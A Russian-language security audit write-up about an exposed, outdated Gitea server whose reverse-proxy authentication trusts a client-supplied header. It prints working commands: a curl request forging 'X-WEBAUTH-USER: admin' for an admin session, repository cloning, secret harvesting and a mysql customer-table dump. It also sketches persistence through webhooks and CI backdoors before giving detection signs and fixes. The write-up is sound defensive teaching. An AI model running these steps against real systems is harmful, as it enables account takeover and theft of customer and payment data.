Клиент — производственная компания с собственным парком оборудования и штатом около 60 человек. Учётную систему (склад, заказы, отгрузки) писали два штатных программиста, код хранили на своём сервере: логично, дёшево, без зависимости от внешних облаков. На плановом аудите я проверял ровно то, что обычно упускают из виду при таком подходе — насколько «своё» на самом деле закрыто от чужих.
Что стояло на сервере
Разработчики поднимали у себя Gitea — популярную self-hosted альтернативу GitHub/GitLab. Лёгкая, быстрая, ставится одним бинарником — и именно поэтому её так часто разворачивают «на автопилоте» и забывают. Версия на сервере была устаревшей — старше 1.21.x, без критичных патчей за последние циклы обновлений. Порт сервиса торчал наружу.
nmap -sV -p3000,22,80,443 82.XX.XX.XX
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx 1.18.0
3000/tcp open http Gitea (Go net/http)
443/tcp open ssl/http nginx 1.18.0
Баннер сервиса подтвердился HTTP-запросом:
curl -s -I https://git.example-corp.local/
HTTP/2 200
server: nginx
x-frame-options: SAMEORIGIN
set-cookie: i_like_gitea=...; Path=/; HttpOnly
x-gitea-version: 1.20.4
Заголовок x-gitea-version Gitea отдаёт по умолчанию, если админ не отключил его явно — это готовая подсказка для любого сканера уязвимостей.
Как это эксплуатируется
Дальше — разведка структуры сервиса и проверка стандартных путей:
gobuster dir -u https://git.example-corp.local -w /usr/share/wordlists/dirb/common.txt -t 40
/api (Status: 200)
/user/login (Status: 200)
/admin (Status: 302)
/-/health (Status: 200)
Ключевая находка была не в путях, а в конфигурации доверенной аутентификации. У Gitea есть механизм REVERSE_PROXY_AUTHENTICATION — он задумывался для связки с внешним SSO/прокси: сервис доверяет заголовку, в котором прокси-сервер передаёт уже проверенный логин пользователя (обычно X-WEBAUTH-USER). Идея разумная — если Gitea физически недоступна напрямую, а только через прокси, который сам делает аутентификацию.
Проблема в том, что порт 3000 был доступен напрямую, в обход nginx-прокси, а Gitea продолжала доверять этому заголовку от любого клиента:
curl -s -H "X-WEBAUTH-USER: admin" https://git.example-corp.local:3000/admin/ -c cookies.txt -b cookies.txt -o resp.html
grep -o ".* " resp.html
<title>Site Administration - Gitea</title>
Один заголовок в HTTP-запросе — и сервер выдаёт сессию с правами администратора. Не гостевой доступ «посмотреть публичные репозитории», а полноценная админ-панель: управление пользователями, организациями, приватными репозиториями, вебхуками, SSH-ключами инстанса.
Дальше — типовой сбор всего интересного через сам git и API:
curl -s -H "X-WEBAUTH-USER: admin" https://git.example-corp.local:3000/api/v1/repos/search | jq -r '.data[].full_name'
erp-team/warehouse-core
erp-team/payment-gateway
erp-team/infra-configs
git clone https://git.example-corp.local:3000/erp-team/infra-configs.git
Cloning into 'infra-configs'...
remote: Enumerating objects: 842, done.
После клонирования — стандартный проход по репозиторию в поисках секретов:
grep -R -nE "(password|secret|token|api_key)" infra-configs/ | head
infra-configs/config/database.yml:12: password: Prod_Db_2023!
infra-configs/config/payment.env:3:PAYMENT_SECRET_KEY=sk_live_XXXXXXXXXXXX
infra-configs/deploy/1c_connection.ini:7:pwd=1c_service_pass
То же самое проще и быстрее сделать через специализированные сканеры секретов в истории коммитов, а не только в текущем состоянии файлов:
gitleaks detect --source=infra-configs --report-format json --report-path leaks.json
INF 14 leaks found across 842 commits
Секреты не только в актуальном коде — они годами лежат в истории коммитов, даже если файл потом «удалили» и заменили переменной окружения.
Что и почему сработало бы дальше
С паролем от боевой БД, ключами платёжного шлюза и доступами к 1С у злоумышленника есть три параллельных вектора:
- Прямое подключение к продовой базе с найденными кредами и выгрузка клиентской базы целиком:
mysql -h db.internal -u erp_user -p'Prod_Db_2023!' -e "SELECT * FROM customers" > dump.csv. База с телефонами и адресами клиентов — готовый товар для слива конкурентам или для последующего фишинга/мошенничества под видом компании. - Ключи платёжного шлюза (
sk_live_...) позволяют подменить реквизиты получателя платежей на сайте или создавать возвраты — деньги клиентов уходят мимо компании, а разбираться с эквайрингом и банком придётся неделями. - Доступы к 1С дают возможность остановить склад и отгрузки: изменить остатки, заблокировать документы, а при развитии атаки — зашифровать базу данных 1С и потребовать выкуп. Это уже не разовая утечка, а полная остановка операционки на несколько дней.
Отдельно — сама админка Gitea даёт постоянный доступ: можно добавить свой SSH-ключ в аккаунт «admin», создать вебхук, который будет пересылать копию всех новых коммитов на внешний сервер, или встроить бэкдор прямо в CI/CD пайплайн, если он настроен через тот же Gitea Actions. То есть даже если конкретные пароли потом сменят, канал для повторного проникновения останется, пока не перепроверят весь инстанс целиком.
Полутехнические пруфы для тех, кто проверяет себя сам
- Уязвимый паттерн — доверие заголовку reverse-proxy auth (
X-WEBAUTH-USERи аналоги) без проверки, что запрос действительно пришёл от доверенного прокси, а не напрямую от клиента. - Признак в конфиге Gitea (
app.ini): включён блок[service] ENABLE_REVERSE_PROXY_AUTHENTICATION = trueпри этом сам сервис слушает на публичном интерфейсе, а не только на localhost за прокси. - В логах веб-сервера это видно как запросы к порту приложения (3000) напрямую с внешних IP, минуя основной домен на 80/443 — то есть обращения по внутреннему адресу или IP:3000, которых там в норме быть не должно.
- В логах Gitea (
log/gitea.log) — вход в систему без предшествующего запроса на/user/loginи без POST с паролем, сразу сессия с указанным в заголовке логином.
Как закрыли дыру за один день
- Обновили Gitea до актуальной версии с патчами безопасности:
systemctl stop gitea && cp -r /var/lib/gitea /var/lib/gitea.bak && ./gitea-1.22.x-linux-amd64 web --config app.ini— с обязательным бэкапом БД и репозиториев перед миграцией. - Закрыли прямой внешний доступ к порту 3000 на firewall, оставив вход только через nginx на 443 и только из внутренней сети/VPN:
ufw deny 3000/tcpплюс правило в nginxallow 10.0.0.0/24; deny all;для внутреннего location. - Пересмотрели саму настройку reverse-proxy auth: либо отключили её полностью в пользу обычного логина с паролем и 2FA, либо жёстко привязали доверие к заголовку только к запросам от IP самого nginx через
proxy_set_headerи запрет клиенту передавать этот заголовок напрямую (proxy_set_header X-WEBAUTH-USER "";на входе, если заголовок пришёл снаружи). - Настроили алерт руководителю в мессенджер при любой попытке подключения к серверу снаружи — простое правило в fail2ban/скрипте на основе логов nginx, которое ловит обращения к внутренним портам с внешних IP.
- Ротировали все секреты, найденные в репозиториях: пароль от боевой БД, ключи платёжного шлюза, доступы к 1С — и вычистили их из истории git через
git filter-repo, а не просто удалили файл новым коммитом.
На всё ушёл один рабочий день, и по стоимости это была одна из самых дешёвых правок за весь аудит — при том что закрывала одну из самых опасных дыр в инфраструктуре компании.
Самое страшное в таких историях — не сама уязвимость, а уверенность собственника, что «у нас всё своё, значит безопасно».
Self-hosted сервисы — это удобно и экономно, но требуют такого же внимания, как банковский сейф: если забыть про обновления и не проверять, что именно торчит наружу, дверца может быть приоткрыта годами, и никто об этом не узнает, пока не станет поздно.
